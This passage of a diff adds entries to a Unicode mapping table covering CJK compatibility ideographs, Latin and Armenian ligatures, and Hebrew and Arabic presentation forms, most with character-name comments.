+ ["\uFA95", "\uFA95"], /* CJK COMPATIBILITY IDEOGRAPH-FA95 */
+ ["\uFA96", "\uFA96"], /* CJK COMPATIBILITY IDEOGRAPH-FA96 */
+ ["\uFA97", "\uFA97"], /* CJK COMPATIBILITY IDEOGRAPH-FA97 */
+ ["\uFA98", "\uFA98"], /* CJK COMPATIBILITY IDEOGRAPH-FA98 */
+ ["\uFA99", "\uFA99"], /* CJK COMPATIBILITY IDEOGRAPH-FA99 */
+ ["\uFA9A", "\uFA9A"], /* CJK COMPATIBILITY IDEOGRAPH-FA9A */
+ ["\uFA9B", "\uFA9B"], /* CJK COMPATIBILITY IDEOGRAPH-FA9B */
+ ["\uFA9C", "\uFA9C"], /* CJK COMPATIBILITY IDEOGRAPH-FA9C */
+ ["\uFA9D", "\uFA9D"], /* CJK COMPATIBILITY IDEOGRAPH-FA9D */
+ ["\uFA9E", "\uFA9E"], /* CJK COMPATIBILITY IDEOGRAPH-FA9E */
+ ["\uFA9F", "\uFA9F"], /* CJK COMPATIBILITY IDEOGRAPH-FA9F */
+ ["\uFAA0", "\uFAA0"], /* CJK COMPATIBILITY IDEOGRAPH-FAA0 */
+ ["\uFAA1", "\uFAA1"], /* CJK COMPATIBILITY IDEOGRAPH-FAA1 */
+ ["\uFAA2", "\uFAA2"], /* CJK COMPATIBILITY IDEOGRAPH-FAA2 */
+ ["\uFAA3", "\uFAA3"], /* CJK COMPATIBILITY IDEOGRAPH-FAA3 */
+ ["\uFAA4", "\uFAA4"], /* CJK COMPATIBILITY IDEOGRAPH-FAA4 */
+ ["\uFAA5", "\uFAA5"], /* CJK COMPATIBILITY IDEOGRAPH-FAA5 */
+ ["\uFAA6", "\uFAA6"], /* CJK COMPATIBILITY IDEOGRAPH-FAA6 */
+ ["\uFAA7", "\uFAA7"], /* CJK COMPATIBILITY IDEOGRAPH-FAA7 */
+ ["\uFAA8", "\uFAA8"], /* CJK COMPATIBILITY IDEOGRAPH-FAA8 */
+ ["\uFAA9", "\uFAA9"], /* CJK COMPATIBILITY IDEOGRAPH-FAA9 */
+ ["\uFAAA", "\uFAAA"], /* CJK COMPATIBILITY IDEOGRAPH-FAAA */
+ ["\uFAAB", "\uFAAB"], /* CJK COMPATIBILITY IDEOGRAPH-FAAB */
+ ["\uFAAC", "\uFAAC"], /* CJK COMPATIBILITY IDEOGRAPH-FAAC */
+ ["\uFAAD", "\uFAAD"], /* CJK COMPATIBILITY IDEOGRAPH-FAAD */
+ ["\uFAAE", "\uFAAE"], /* CJK COMPATIBILITY IDEOGRAPH-FAAE */
+ ["\uFAAF", "\uFAAF"], /* CJK COMPATIBILITY IDEOGRAPH-FAAF */
+ ["\uFAB0", "\uFAB0"], /* CJK COMPATIBILITY IDEOGRAPH-FAB0 */
+ ["\uFAB1", "\uFAB1"], /* CJK COMPATIBILITY IDEOGRAPH-FAB1 */
+ ["\uFAB2", "\uFAB2"], /* CJK COMPATIBILITY IDEOGRAPH-FAB2 */
+ ["\uFAB3", "\uFAB3"], /* CJK COMPATIBILITY IDEOGRAPH-FAB3 */
+ ["\uFAB4", "\uFAB4"], /* CJK COMPATIBILITY IDEOGRAPH-FAB4 */
+ ["\uFAB5", "\uFAB5"], /* CJK COMPATIBILITY IDEOGRAPH-FAB5 */
+ ["\uFAB6", "\uFAB6"], /* CJK COMPATIBILITY IDEOGRAPH-FAB6 */
+ ["\uFAB7", "\uFAB7"], /* CJK COMPATIBILITY IDEOGRAPH-FAB7 */
+ ["\uFAB8", "\uFAB8"], /* CJK COMPATIBILITY IDEOGRAPH-FAB8 */
+ ["\uFAB9", "\uFAB9"], /* CJK COMPATIBILITY IDEOGRAPH-FAB9 */
+ ["\uFABA", "\uFABA"], /* CJK COMPATIBILITY IDEOGRAPH-FABA */
+ ["\uFABB", "\uFABB"], /* CJK COMPATIBILITY IDEOGRAPH-FABB */
+ ["\uFABC", "\uFABC"], /* CJK COMPATIBILITY IDEOGRAPH-FABC */
+ ["\uFABD", "\uFABD"], /* CJK COMPATIBILITY IDEOGRAPH-FABD */
+ ["\uFABE", "\uFABE"], /* CJK COMPATIBILITY IDEOGRAPH-FABE */
+ ["\uFABF", "\uFABF"], /* CJK COMPATIBILITY IDEOGRAPH-FABF */
+ ["\uFAC0", "\uFAC0"], /* CJK COMPATIBILITY IDEOGRAPH-FAC0 */
+ ["\uFAC1", "\uFAC1"], /* CJK COMPATIBILITY IDEOGRAPH-FAC1 */
+ ["\uFAC2", "\uFAC2"], /* CJK COMPATIBILITY IDEOGRAPH-FAC2 */
+ ["\uFAC3", "\uFAC3"], /* CJK COMPATIBILITY IDEOGRAPH-FAC3 */
+ ["\uFAC4", "\uFAC4"], /* CJK COMPATIBILITY IDEOGRAPH-FAC4 */
+ ["\uFAC5", "\uFAC5"], /* CJK COMPATIBILITY IDEOGRAPH-FAC5 */
+ ["\uFAC6", "\uFAC6"], /* CJK COMPATIBILITY IDEOGRAPH-FAC6 */
+ ["\uFAC7", "\uFAC7"], /* CJK COMPATIBILITY IDEOGRAPH-FAC7 */
+ ["\uFAC8", "\uFAC8"], /* CJK COMPATIBILITY IDEOGRAPH-FAC8 */
+ ["\uFAC9", "\uFAC9"], /* CJK COMPATIBILITY IDEOGRAPH-FAC9 */
+ ["\uFACA", "\uFACA"], /* CJK COMPATIBILITY IDEOGRAPH-FACA */
+ ["\uFACB", "\uFACB"], /* CJK COMPATIBILITY IDEOGRAPH-FACB */
+ ["\uFACC", "\uFACC"], /* CJK COMPATIBILITY IDEOGRAPH-FACC */
+ ["\uFACD", "\uFACD"], /* CJK COMPATIBILITY IDEOGRAPH-FACD */
+ ["\uFACE", "\uFACE"], /* CJK COMPATIBILITY IDEOGRAPH-FACE */
+ ["\uFACF", "\uFACF"], /* CJK COMPATIBILITY IDEOGRAPH-FACF */
+ ["\uFAD0", "\uFAD0"], /* CJK COMPATIBILITY IDEOGRAPH-FAD0 */
+ ["\uFAD1", "\uFAD1"], /* CJK COMPATIBILITY IDEOGRAPH-FAD1 */
+ ["\uFAD2", "\uFAD2"], /* CJK COMPATIBILITY IDEOGRAPH-FAD2 */
+ ["\uFAD3", "\uFAD3"], /* CJK COMPATIBILITY IDEOGRAPH-FAD3 */
+ ["\uFAD4", "\uFAD4"], /* CJK COMPATIBILITY IDEOGRAPH-FAD4 */
+ ["\uFAD5", "\uFAD5"], /* CJK COMPATIBILITY IDEOGRAPH-FAD5 */
+ ["\uFAD6", "\uFAD6"], /* CJK COMPATIBILITY IDEOGRAPH-FAD6 */
+ ["\uFAD7", "\uFAD7"], /* CJK COMPATIBILITY IDEOGRAPH-FAD7 */
+ ["\uFAD8", "\uFAD8"], /* CJK COMPATIBILITY IDEOGRAPH-FAD8 */
+ ["\uFAD9", "\uFAD9"], /* CJK COMPATIBILITY IDEOGRAPH-FAD9 */
+ ["\uFADA", "\uFADA"],
+ ["\uFADB", "\uFADB"],
+ ["\uFADC", "\uFADC"],
+ ["\uFADD", "\uFADD"],
+ ["\uFADE", "\uFADE"],
+ ["\uFADF", "\uFADF"],
+ ["\uFAE0", "\uFAE0"],
+ ["\uFAE1", "\uFAE1"],
+ ["\uFAE2", "\uFAE2"],
+ ["\uFAE3", "\uFAE3"],
+ ["\uFAE4", "\uFAE4"],
+ ["\uFAE5", "\uFAE5"],
+ ["\uFAE6", "\uFAE6"],
+ ["\uFAE7", "\uFAE7"],
+ ["\uFAE8", "\uFAE8"],
+ ["\uFAE9", "\uFAE9"],
+ ["\uFAEA", "\uFAEA"],
+ ["\uFAEB", "\uFAEB"],
+ ["\uFAEC", "\uFAEC"],
+ ["\uFAED", "\uFAED"],
+ ["\uFAEE", "\uFAEE"],
+ ["\uFAEF", "\uFAEF"],
+ ["\uFAF0", "\uFAF0"],
+ ["\uFAF1", "\uFAF1"],
+ ["\uFAF2", "\uFAF2"],
+ ["\uFAF3", "\uFAF3"],
+ ["\uFAF4", "\uFAF4"],
+ ["\uFAF5", "\uFAF5"],
+ ["\uFAF6", "\uFAF6"],
+ ["\uFAF7", "\uFAF7"],
+ ["\uFAF8", "\uFAF8"],
+ ["\uFAF9", "\uFAF9"],
+ ["\uFAFA", "\uFAFA"],
+ ["\uFAFB", "\uFAFB"],
+ ["\uFAFC", "\uFAFC"],
+ ["\uFAFD", "\uFAFD"],
+ ["\uFAFE", "\uFAFE"],
+ ["\uFAFF", "\uFAFF"],
+ ["\u0046\u0046", "\uFB00"], /* LATIN SMALL LIGATURE FF */
+ ["\u0046\u0049", "\uFB01"], /* LATIN SMALL LIGATURE FI */
+ ["\u0046\u004C", "\uFB02"], /* LATIN SMALL LIGATURE FL */
+ ["\u0046\u0046\u0049", "\uFB03"], /* LATIN SMALL LIGATURE FFI */
+ ["\u0046\u0046\u004C", "\uFB04"], /* LATIN SMALL LIGATURE FFL */
+ ["\u0053\u0054", "\uFB05"], /* LATIN SMALL LIGATURE LONG S T */
+ ["\u0053\u0054", "\uFB06"], /* LATIN SMALL LIGATURE ST */
+ ["\uFB07", "\uFB07"],
+ ["\uFB08", "\uFB08"],
+ ["\uFB09", "\uFB09"],
+ ["\uFB0A", "\uFB0A"],
+ ["\uFB0B", "\uFB0B"],
+ ["\uFB0C", "\uFB0C"],
+ ["\uFB0D", "\uFB0D"],
+ ["\uFB0E", "\uFB0E"],
+ ["\uFB0F", "\uFB0F"],
+ ["\uFB10", "\uFB10"],
+ ["\uFB11", "\uFB11"],
+ ["\uFB12", "\uFB12"],
+ ["\u0544\u0546", "\uFB13"], /* ARMENIAN SMALL LIGATURE MEN NOW */
+ ["\u0544\u0535", "\uFB14"], /* ARMENIAN SMALL LIGATURE MEN ECH */
+ ["\u0544\u053B", "\uFB15"], /* ARMENIAN SMALL LIGATURE MEN INI */
+ ["\u054E\u0546", "\uFB16"], /* ARMENIAN SMALL LIGATURE VEW NOW */
+ ["\u0544\u053D", "\uFB17"], /* ARMENIAN SMALL LIGATURE MEN XEH */
+ ["\uFB18", "\uFB18"],
+ ["\uFB19", "\uFB19"],
+ ["\uFB1A", "\uFB1A"],
+ ["\uFB1B", "\uFB1B"],
+ ["\uFB1C", "\uFB1C"],
+ ["\uFB1D", "\uFB1D"], /* HEBREW LETTER YOD WITH HIRIQ */
+ ["\uFB1E", "\uFB1E"], /* HEBREW POINT JUDEO-SPANISH VARIKA (HEBREW POINT VARIKA) */
+ ["\uFB1F", "\uFB1F"], /* HEBREW LIGATURE YIDDISH YOD YOD PATAH */
+ ["\uFB20", "\uFB20"], /* HEBREW LETTER ALTERNATIVE AYIN */
+ ["\uFB21", "\uFB21"], /* HEBREW LETTER WIDE ALEF */
+ ["\uFB22", "\uFB22"], /* HEBREW LETTER WIDE DALET */
+ ["\uFB23", "\uFB23"], /* HEBREW LETTER WIDE HE */
+ ["\uFB24", "\uFB24"], /* HEBREW LETTER WIDE KAF */
+ ["\uFB25", "\uFB25"], /* HEBREW LETTER WIDE LAMED */
+ ["\uFB26", "\uFB26"], /* HEBREW LETTER WIDE FINAL MEM */
+ ["\uFB27", "\uFB27"], /* HEBREW LETTER WIDE RESH */
+ ["\uFB28", "\uFB28"], /* HEBREW LETTER WIDE TAV */
+ ["\uFB29", "\uFB29"], /* HEBREW LETTER ALTERNATIVE PLUS SIGN */
+ ["\uFB2A", "\uFB2A"], /* HEBREW LETTER SHIN WITH SHIN DOT */
+ ["\uFB2B", "\uFB2B"], /* HEBREW LETTER SHIN WITH SIN DOT */
+ ["\uFB2C", "\uFB2C"], /* HEBREW LETTER SHIN WITH DAGESH AND SHIN DOT */
+ ["\uFB2D", "\uFB2D"], /* HEBREW LETTER SHIN WITH DAGESH AND SIN DOT */
+ ["\uFB2E", "\uFB2E"], /* HEBREW LETTER ALEF WITH PATAH */
+ ["\uFB2F", "\uFB2F"], /* HEBREW LETTER ALEF WITH QAMATS */
+ ["\uFB30", "\uFB30"], /* HEBREW LETTER ALEF WITH MAPIQ */
+ ["\uFB31", "\uFB31"], /* HEBREW LETTER BET WITH DAGESH */
+ ["\uFB32", "\uFB32"], /* HEBREW LETTER GIMEL WITH DAGESH */
+ ["\uFB33", "\uFB33"], /* HEBREW LETTER DALET WITH DAGESH */
+ ["\uFB34", "\uFB34"], /* HEBREW LETTER HE WITH MAPIQ */
+ ["\uFB35", "\uFB35"], /* HEBREW LETTER VAV WITH DAGESH */
+ ["\uFB36", "\uFB36"], /* HEBREW LETTER ZAYIN WITH DAGESH */
+ ["\uFB37", "\uFB37"],
+ ["\uFB38", "\uFB38"], /* HEBREW LETTER TET WITH DAGESH */
+ ["\uFB39", "\uFB39"], /* HEBREW LETTER YOD WITH DAGESH */
+ ["\uFB3A", "\uFB3A"], /* HEBREW LETTER FINAL KAF WITH DAGESH */
+ ["\uFB3B", "\uFB3B"], /* HEBREW LETTER KAF WITH DAGESH */
+ ["\uFB3C", "\uFB3C"], /* HEBREW LETTER LAMED WITH DAGESH */
+ ["\uFB3D", "\uFB3D"],
+ ["\uFB3E", "\uFB3E"], /* HEBREW LETTER MEM WITH DAGESH */
+ ["\uFB3F", "\uFB3F"],
+ ["\uFB40", "\uFB40"], /* HEBREW LETTER NUN WITH DAGESH */
+ ["\uFB41", "\uFB41"], /* HEBREW LETTER SAMEKH WITH DAGESH */
+ ["\uFB42", "\uFB42"],
+ ["\uFB43", "\uFB43"], /* HEBREW LETTER FINAL PE WITH DAGESH */
+ ["\uFB44", "\uFB44"], /* HEBREW LETTER PE WITH DAGESH */
+ ["\uFB45", "\uFB45"],
+ ["\uFB46", "\uFB46"], /* HEBREW LETTER TSADI WITH DAGESH */
+ ["\uFB47", "\uFB47"], /* HEBREW LETTER QOF WITH DAGESH */
+ ["\uFB48", "\uFB48"], /* HEBREW LETTER RESH WITH DAGESH */
+ ["\uFB49", "\uFB49"], /* HEBREW LETTER SHIN WITH DAGESH */
+ ["\uFB4A", "\uFB4A"], /* HEBREW LETTER TAV WITH DAGESH */
+ ["\uFB4B", "\uFB4B"], /* HEBREW LETTER VAV WITH HOLAM */
+ ["\uFB4C", "\uFB4C"], /* HEBREW LETTER BET WITH RAFE */
+ ["\uFB4D", "\uFB4D"], /* HEBREW LETTER KAF WITH RAFE */
+ ["\uFB4E", "\uFB4E"], /* HEBREW LETTER PE WITH RAFE */
+ ["\uFB4F", "\uFB4F"], /* HEBREW LIGATURE ALEF LAMED */
+ ["\uFB50", "\uFB50"], /* ARABIC LETTER ALEF WASLA ISOLATED FORM */
+ ["\uFB51", "\uFB51"], /* ARABIC LETTER ALEF WASLA FINAL FORM */
+ ["\uFB52", "\uFB52"], /* ARABIC LETTER BEEH ISOLATED FORM */
+ ["\uFB53", "\uFB53"], /* ARABIC LETTER BEEH FINAL FORM */
+ ["\uFB54", "\uFB54"], /* ARABIC LETTER BEEH INITIAL FORM */
+ ["\uFB55", "\uFB55"], /* ARABIC LETTER BEEH MEDIAL FORM */
+ ["\uFB56", "\uFB56"], /* ARABIC LETTER PEH ISOLATED FORM */
+ ["\uFB57", "\uFB57"], /* ARABIC LETTER PEH FINAL FORM */
+ ["\uFB58", "\uFB58"], /* ARABIC LETTER PEH INITIAL FORM */
+ ["\uFB59", "\uFB59"], /* ARABIC LETTER PEH MEDIAL FORM */
+ ["\uFB5A", "\uFB5A"], /* ARABIC LETTER BEHEH ISOLATED FORM */
+ ["\uFB5B", "\uFB5B"], /* ARABIC LETTER BEHEH FINAL FORM */
+ ["\uFB5C", "\uFB5C"], /* ARABIC LETTER BEHEH INITIAL FORM */
+ ["\uFB5D", "\uFB5D"], /* ARABIC LETTER BEHEH MEDIAL FORM */
+ ["\uFB5E", "\uFB5E"], /* ARABIC LETTER TTEHEH ISOLATED FORM */
+ ["\uFB5F", "\uFB5F"], /* ARABIC LETTER TTEHEH FINAL FORM */
+ ["\uFB60", "\uFB60"], /* ARABIC LETTER TTEHEH INITIAL FORM */
+ ["\uFB61", "\uFB61"], /* ARABIC LETTER TTEHEH MEDIAL FORM */
+ ["\uFB62", "\uFB62"], /* ARABIC LETTER TEHEH ISOLATED FORM */
+ ["\uFB63", "\uFB63"], /* ARABIC LETTER TEHEH FINAL FORM */
+ ["\uFB64", "\uFB64"], /* ARABIC LETTER TEHEH INITIAL FORM */
+ ["\uFB65", "\uFB65"], /* ARABIC LETTER TEHEH MEDIAL FORM */
+ ["\uFB66", "\uFB66"], /* ARABIC LETTER TTEH ISOLATED FORM */
+ ["\uFB67", "\uFB67"], /* ARABIC LETTER TTEH FINAL FORM */
+ ["\uFB68", "\uFB68"], /* ARABIC LETTER TTEH INITIAL FORM */
+ ["\uFB69", "\uFB69"], /* ARABIC LETTER TTEH MEDIAL FORM */
+ ["\uFB6A", "\uFB6A"], /* ARABIC LETTER VEH ISOLATED FORM */
+ ["\uFB6B", "\uFB6B"], /* ARABIC LETTER VEH FINAL FORM */
+ ["\uFB6C", "\uFB6C"], /* ARABIC LETTER VEH INITIAL FORM */
+ ["\uFB6D", "\uFB6D"], /* ARABIC LETTER VEH MEDIAL FORM */
+ ["\uFB6E", "\uFB6E"], /* ARABIC LETTER PEHEH ISOLATED FORM */
+ ["\uFB6F", "\uFB6F"], /* ARABIC LETTER PEHEH FINAL FORM */
+ ["\uFB70", "\uFB70"], /* ARABIC LETTER PEHEH INITIAL FORM */
+ ["\uFB71", "\uFB71"], /* ARABIC LETTER PEHEH MEDIAL FORM */
+ ["\uFB72", "\uFB72"], /* ARABIC LETTER DYEH ISOLATED FORM */
+ ["\uFB73", "\uFB73"], /* ARABIC LETTER DYEH FINAL FORM */
+ ["\uFB74", "\uFB74"], /* ARABIC LETTER DYEH INITIAL FORM */
+ ["\uFB75", "\uFB75"], /* ARABIC LETTER DYEH MEDIAL FORM */
+ ["\uFB76", "\uFB76"], /* ARABIC LETTER NYEH ISOLATED FORM */
+ ["\uFB77", "\uFB77"], /* ARABIC LETTER NYEH FINAL FORM */
+ ["\uFB78", "\uFB78"], /* ARABIC LETTER NYEH INITIAL FORM */
+ ["\uFB79", "\uFB79"], /* ARABIC LETTER NYEH MEDIAL FORM */
+ ["\uFB7A", "\uFB7A"], /* ARABIC LETTER TCHEH ISOLATED FORM */
+ ["\uFB7B", "\uFB7B"], /* ARABIC LETTER TCHEH FINAL FORM */
+ ["\uFB7C", "\uFB7C"], /* ARABIC LETTER TCHEH INITIAL FORM */
+ ["\uFB7D", "\uFB7D"], /* ARABIC LETTER TCHEH MEDIAL FORM */
+ ["\uFB7E", "\uFB7E"], /* ARABIC LETTER TCHEHEH ISOLATED FORM */
+ ["\uFB7F", "\uFB7F"], /* ARABIC LETTER TCHEHEH FINAL FORM */
+ ["\uFB80", "\uFB80"], /* ARABIC LETTER TCHEHEH INITIAL FORM */
+ ["\uFB81", "\uFB81"], /* ARABIC LETTER TCHEHEH MEDIAL FORM */
+ ["\uFB82", "\uFB82"], /* ARABIC LETTER DDAHAL ISOLATED FORM */
+ ["\uFB83", "\uFB83"], /* ARABIC LETTER DDAHAL FINAL FORM */
+ ["\uFB84", "\uFB84"], /* ARABIC LETTER DAHAL ISOLATED FORM */
+ ["\uFB85", "\uFB85"], /* ARABIC LETTER DAHAL FINAL FORM */
+ ["\uFB86", "\uFB86"], /* ARABIC LETTER DUL ISOLATED FORM */
+ ["\uFB87", "\uFB87"], /* ARABIC LETTER DUL FINAL FORM */
+ ["\uFB88", "\uFB88"], /* ARABIC LETTER DDAL ISOLATED FORM */
+ ["\uFB89", "\uFB89"], /* ARABIC LETTER DDAL FINAL FORM */
+ ["\uFB8A", "\uFB8A"], /* ARABIC LETTER JEH ISOLATED FORM */
+ ["\uFB8B", "\uFB8B"], /* ARABIC LETTER JEH FINAL FORM */
+ ["\uFB8C", "\uFB8C"], /* ARABIC LETTER RREH ISOLATED FORM */
+ ["\uFB8D", "\uFB8D"], /* ARABIC LETTER RREH FINAL FORM */
+ ["\uFB8E", "\uFB8E"], /* ARABIC LETTER KEHEH ISOLATED FORM */
+ ["\uFB8F", "\uFB8F"], /* ARABIC LETTER KEHEH FINAL FORM */
+ ["\uFB90", "\uFB90"], /* ARABIC LETTER KEHEH INITIAL FORM */
+ ["\uFB91", "\uFB91"], /* ARABIC LETTER KEHEH MEDIAL FORM */
+ ["\uFB92", "\uFB92"], /* ARABIC LETTER GAF ISOLATED FORM */
+ ["\uFB93", "\uFB93"], /* ARABIC LETTER GAF FINAL FORM */
+ ["\uFB94", "\uFB94"], /* ARABIC LETTER GAF INITIAL FORM */
+ ["\uFB95", "\uFB95"], /* ARABIC LETTER GAF MEDIAL FORM */
+ ["\uFB96", "\uFB96"], /* ARABIC LETTER GUEH ISOLATED FORM */
+ ["\uFB97", "\uFB97"], /* ARABIC LETTER GUEH FINAL FORM */
+ ["\uFB98", "\uFB98"], /* ARABIC LETTER GUEH INITIAL FORM */
+ ["\uFB99", "\uFB99"], /* ARABIC LETTER GUEH MEDIAL FORM */
+ ["\uFB9A", "\uFB9A"], /* ARABIC LETTER NGOEH ISOLATED FORM */
+ ["\uFB9B", "\uFB9B"], /* ARABIC LETTER NGOEH FINAL FORM */
+ ["\uFB9C", "\uFB9C"], /* ARABIC LETTER NGOEH INITIAL FORM */
+ ["\uFB9D", "\uFB9D"], /* ARABIC LETTER NGOEH MEDIAL FORM */
+ ["\uFB9E", "\uFB9E"], /* ARABIC LETTER NOON GHUNNA ISOLATED FORM */
+ ["\uFB9F", "\uFB9F"], /* ARABIC LETTER NOON GHUNNA FINAL FORM */
+ ["\uFBA0", "\uFBA0"], /* ARABIC LETTER RNOON ISOLATED FORM */
+ ["\uFBA1", "\uFBA1"], /* ARABIC LETTER RNOON FINAL FORM */
+ ["\uFBA2", "\uFBA2"], /* ARABIC LETTER RNOON INITIAL FORM */
+ ["\uFBA3", "\uFBA3"], /* ARABIC LETTER RNOON MEDIAL FORM */
+ ["\uFBA4", "\uFBA4"], /* ARABIC LETTER HEH WITH YEH ABOVE ISOLATED FORM */
+ ["\uFBA5", "\uFBA5"], /* ARABIC LETTER HEH WITH YEH ABOVE FINAL FORM */
+ ["\uFBA6", "\uFBA6"], /* ARABIC LETTER HEH GOAL ISOLATED FORM */
+ ["\uFBA7", "\uFBA7"], /* ARABIC LETTER HEH GOAL FINAL FORM */
+ ["\uFBA8", "\uFBA8"], /* ARABIC LETTER HEH GOAL INITIAL FORM */
+ ["\uFBA9", "\uFBA9"], /* ARABIC LETTER HEH GOAL MEDIAL FORM */
+ ["\uFBAA", "\uFBAA"], /* ARABIC LETTER HEH DOACHASHMEE ISOLATED FORM */
+ ["\uFBAB", "\uFBAB"], /* ARABIC LETTER HEH DOACHASHMEE FINAL FORM */
+ ["\uFBAC", "\uFBAC"], /* ARABIC LETTER HEH DOACHASHMEE INITIAL FORM */
+ ["\uFBAD", "\uFBAD"], /* ARABIC LETTER HEH DOACHASHMEE MEDIAL FORM */
+ ["\uFBAE", "\uFBAE"], /* ARABIC LETTER YEH BARREE ISOLATED FORM */
+ ["\uFBAF", "\uFBAF"], /* ARABIC LETTER YEH BARREE FINAL FORM */
+ ["\uFBB0", "\uFBB0"], /* ARABIC LETTER YEH BARREE WITH HAMZA ABOVE ISOLATED FORM */
+ ["\uFBB1", "\uFBB1"], /* ARABIC LETTER YEH BARREE WITH HAMZA ABOVE FINAL FORM */
+ ["\uFBB2", "\uFBB2"], /* ARABIC SYMBOL DOT ABOVE */
+ ["\uFBB3", "\uFBB3"], /* ARABIC SYMBOL DOT BELOW */
+ ["\uFBB4", "\uFBB4"], /* ARABIC SYMBOL TWO DOTS ABOVE */
+ ["\uFBB5", "\uFBB5"], /* ARABIC SYMBOL TWO DOTS BELOW */
+ ["\uFBB6", "\uFBB6"], /* ARABIC SYMBOL THREE DOTS ABOVE */
+ ["\uFBB7", "\uFBB7"], /* ARABIC SYMBOL THREE DOTS BELOW */
+ ["\uFBB8", "\uFBB8"], /* ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS ABOVE */
+ ["\uFBB9", "\uFBB9"], /* ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS BELOW */
+ ["\uFBBA", "\uFBBA"], /* ARABIC SYMBOL FOUR DOTS ABOVE */
+ ["\uFBBB", "\uFBBB"], /* ARABIC SYMBOL FOUR DOTS BELOW */
+ ["\uFBBC", "\uFBBC"], /* ARABIC SYMBOL DOUBLE VERTICAL BAR BELOW */
+ ["\uFBBD", "\uFBBD"], /* ARABIC SYMBOL TWO DOTS VERTICALLY ABOVE */
+ ["\uFBBE", "\uFBBE"], /* ARABIC SYMBOL TWO DOTS VERTICALLY BELOW */
+ ["\uFBBF", "\uFBBF"], /* ARABIC SYMBOL RING */
+ ["\uFBC0", "\uFBC0"], /* ARABIC SYMBOL SMALL TAH ABOVE */
+ ["\uFBC1", "\uFBC1"], /* ARABIC SYMBOL SMALL TAH BELOW */
+ ["\uFBC2", "\uFBC2"], /* ARABIC SYMBOL WASLA ABOVE */
+ ["\uFBC3", "\uFBC3"],
+ ["\uFBC4", "\uFBC4"],
+ ["\uFBC5", "\uFBC5"],
+ ["\uFBC6", "\uFBC6"],
+ ["\uFBC7", "\uFBC7"],
+ ["\uFBC8", "\uFBC8"],
+ ["\uFBC9", "\uFBC9"],
+ ["\uFBCA", "\uFBCA"],
+ ["\uFBCB", "\uFBCB"],
+ ["\uFBCC", "\uFBCC"],
+ ["\uFBCD", "\uFBCD"],
+ ["\uFBCE", "\uFBCE"],
+ ["\uFBCF", "\uFBCF"],
+ ["\uFBD0", "\uFBD0"],
+ ["\uFBD1", "\uFBD1"],
+ ["\uFBD2", "\uFBD2"],
+ ["\uFBD3", "\uFBD3"], /* ARABIC LETTER NG ISOLATED FORM */
+ ["\uFBD4", "\uFBD4"], /* ARABIC LETTER NG FINAL FORM */
+ ["\uFBD5", "\uFBD5"], /* ARABIC LETTER NG INITIAL FORM */
+ ["\uFBD6", "\uFBD6"], /* ARABIC LETTER NG MEDIAL FORM */
+ ["\uFBD7", "\uFBD7"], /* ARABIC LETTER U ISOLATED FORM */
+ ["\uFBD8", "\uFBD8"], /* ARABIC LETTER U FINAL FORM */
+ ["\uFBD9", "\uFBD9"], /* ARABIC LETTER OE ISOLATED FORM */
+ ["\uFBDA", "\uFBDA"], /* ARABIC LETTER OE FINAL FORM */
+ ["\uFBDB", "\uFBDB"], /* ARABIC LETTER YU ISOLATED FORM */
+ ["\uFBDC", "\uFBDC"], /* ARABIC LETTER YU FINAL FORM */
+ ["\uFBDD", "\uFBDD"], /* ARABIC LETTER U WITH HAMZA ABOVE ISOLATED FORM */
+ ["\uFBDE", "\uFBDE"], /* ARABIC LETTER VE ISOLATED FORM */
+ ["\uFBDF", "\uFBDF"], /* ARABIC LETTER VE FINAL FORM */
+ ["\uFBE0", "\uFBE0"], /* ARABIC LETTER KIRGHIZ OE ISOLATED FORM */
+ ["\uFBE1", "\uFBE1"], /* ARABIC LETTER KIRGHIZ OE FINAL FORM */
+ ["\uFBE2", "\uFBE2"], /* ARABIC LETTER KIRGHIZ YU ISOLATED FORM */
+ ["\uFBE3", "\uFBE3"], /* ARABIC LETTER KIRGHIZ YU FINAL FORM */
+ ["\uFBE4", "\uFBE4"], /* ARABIC LETTER E ISOLATED FORM */
+ ["\uFBE5", "\uFBE5"], /* ARABIC LETTER E FINAL FORM */
+ ["\uFBE6", "\uFBE6"], /* ARABIC LETTER E INITIAL FORM */
+ ["\uFBE7", "\uFBE7"], /* ARABIC LETTER E MEDIAL FORM */
+ ["\uFBE8", "\uFBE8"], /* ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM */
+ ["\uFBE9", "\uFBE9"], /* ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM */
+ ["\uFBEA", "\uFBEA"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF ISOLATED FORM */
+ ["\uFBEB", "\uFBEB"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF FINAL FORM */
+ ["\uFBEC", "\uFBEC"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE ISOLATED FORM */
+ ["\uFBED", "\uFBED"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE FINAL FORM */
+ ["\uFBEE", "\uFBEE"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW ISOLATED FORM */
+ ["\uFBEF", "\uFBEF"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW FINAL FORM */
+ ["\uFBF0", "\uFBF0"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U ISOLATED FORM */
+ ["\uFBF1", "\uFBF1"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U FINAL FORM */
+ ["\uFBF2", "\uFBF2"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE ISOLATED FORM */
+ ["\uFBF3", "\uFBF3"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE FINAL FORM */
+ ["\uFBF4", "\uFBF4"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU ISOLATED FORM */
+ ["\uFBF5", "\uFBF5"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU FINAL FORM */
+ ["\uFBF6", "\uFBF6"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E ISOLATED FORM */
+ ["\uFBF7", "\uFBF7"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E FINAL FORM */
+ ["\uFBF8", "\uFBF8"], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E INITIAL FORM */
+ ["\uFBF9", "\uFBF9"], /* ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM */
